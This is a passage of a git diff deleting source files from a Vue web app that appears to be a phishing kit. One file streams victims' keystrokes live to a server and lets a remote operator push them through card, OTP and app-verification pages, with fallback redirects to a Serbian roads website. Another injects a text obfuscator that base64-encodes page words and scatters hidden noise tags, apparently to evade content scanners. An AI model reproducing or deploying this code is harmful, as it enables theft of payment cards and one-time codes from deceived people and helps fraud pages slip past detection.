node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_etc_temp2/src/utils/common.ts.backup b/t_etc_temp2/src/utils/common.ts.backup deleted file mode 100644 index 8f55f26..0000000 --- a/t_etc_temp2/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.putevi-srbije.rs/"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -}; diff --git a/t_etc_temp3/src/components/HelloWorld.vue b/t_etc_temp3/src/components/HelloWorld.vue deleted file mode 100644 index 8f39347..0000000 --- a/t_etc_temp3/src/components/HelloWorld.vue +++ /dev/null @@ -1,51 +0,0 @@ - - - - - diff --git a/t_etc_temp3/src/components/TheWelcome.vue b/t_etc_temp3/src/components/TheWelcome.vue deleted file mode 100644 index a70765c..0000000 --- a/t_etc_temp3/src/components/TheWelcome.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_etc_temp3/src/components/WelcomeItem.vue b/t_etc_temp3/src/components/WelcomeItem.vue deleted file mode 100644 index ba0def3..0000000 --- a/t_etc_temp3/src/components/WelcomeItem.vue +++ /dev/null @@ -1,86 +0,0 @@ - - - diff --git a/t_etc_temp3/src/main.ts b/t_etc_temp3/src/main.ts index f4f3682..9f2935b 100644 --- a/t_etc_temp3/src/main.ts +++ b/t_etc_temp3/src/main.ts @@ -1,4 +1,3 @@ -import { TextObfuscatorPlugin } from "./mix/textObfuscator"; import { createApp, ref } from "vue"; import { createPinia } from "pinia"; @@ -25,6 +24,5 @@ app.use(i18n); app.use(createPinia()); app.use(router); -// //app.use(TextObfuscatorPlugin); app.mount("#app"); export default i18n; diff --git a/t_etc_temp3/src/mix/textObfuscator.ts b/t_etc_temp3/src/mix/textObfuscator.ts deleted file mode 100644 index 76c21e9..0000000 --- a/t_etc_temp3/src/mix/textObfuscator.ts +++ /dev/null @@ -1,643 +0,0 @@ -import type { ComponentInternalInstance, Plugin, App } from 'vue'; - -/** - * 全局文本混淆插件 - * 自动查找并替换所有文本节点 - */ -// 修改Vue混淆插件以确保处理整个组件树 -export const TextObfuscatorPlugin: Plugin = { - install(app: App) { - // 安装全局样式和解码脚本 - addObfuscationStyle(); - - // 注册全局指令,直接处理元素内容 - app.directive('odata', { - mounted(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - setupMutationObserver(el); - }, - updated(el) { - processTextNodes(el, null); - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(el), 0); - } - } - }); - - // 在 app.mixin 中修改处理 $el 的部分 - app.mixin({ - mounted() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - // 1. 首先处理当前组件的根元素 - processTextNodes(rootElement, this); - - // 2. 递归处理所有子元素,确保覆盖所有文本节点 - const processAllChildNodes = (element: Element) => { - if (!(element instanceof Element)) return; - - try { - // 为每个子元素单独处理文本节点 - const childElements = element.querySelectorAll('*'); - childElements.forEach(childEl => { - processTextNodes(childEl, null); - }); - - // 立即解码当前处理的元素 - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(element), 0); - } - } catch (error) { - console.error('Error processing child nodes:', error, element); - } - }; - - // 处理整个组件树 - processAllChildNodes(rootElement); - - // 设置监听 - setupMutationObserver(rootElement); - }); - // 添加:深度扫描所有包含纯文本的元素 - setTimeout(() => { - const scanPureTextElements = (rootElement: Element) => { - // 跳过已处理过的元素 - if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) { - return; - } - - // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点) - let hasOnlyTextNodes = false; - let hasElementNodes = false; - - if (rootElement.childNodes && rootElement.childNodes.length > 0) { - hasOnlyTextNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() - ); - - hasElementNodes = Array.from(rootElement.childNodes).some( - node => node.nodeType === Node.ELEMENT_NODE - ); - } - - // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它 - if (hasOnlyTextNodes && !hasElementNodes && - !SKIP_TAGS.includes(rootElement.tagName) && - !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) { - processTextNodes(rootElement, null); - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(rootElement); - } - } - - // 递归处理子元素 - if (rootElement.children) { - Array.from(rootElement.children).forEach(child => { - scanPureTextElements(child); - }); - } - }; - - // 从body开始扫描 - scanPureTextElements(document.body); - }, 10); // 给DOM足够的时间渲染 - }, - - updated() { - // 安全地获取组件的根元素(s) - const rootElements = this.$el ? - (this.$el.nodeType === Node.ELEMENT_NODE ? - [this.$el] : - (Array.isArray(this.$el) ? this.$el : [])) : - []; - - // 处理每个根元素 - rootElements.forEach((rootElement: Element | undefined) => { - if (!rootElement || !(rootElement instanceof Element)) return; - - processTextNodes(rootElement, this); - - try { - // 递归处理所有子元素 - const childElements = rootElement.querySelectorAll('*'); - childElements.forEach((childEl: Element) => { - processTextNodes(childEl, null); - }); - - if (window.decodeObfuscatedContent) { - setTimeout(() => window.decodeObfuscatedContent(rootElement), 0); - } - } catch (error) { - console.error('Error processing updated component:', error, rootElement); - } - }); - } - }); - } -}; - -// 声明全局函数类型 -declare global { - interface Window { - decodeObfuscatedContent: (rootElement?: Element) => void; - } -} - -// 需要跳过的标签 -const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE']; -// 需要跳过的类名 -const SKIP_CLASSES = ['no-obfuscate']; - -/** - * 处理元素中的所有文本节点 - */ -function processTextNodes(element: Element, instance: ComponentInternalInstance | null) { - if (!element || element.nodeType !== Node.ELEMENT_NODE) { - return; - } - // 为 DIV 元素增加优先处理逻辑 - if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function 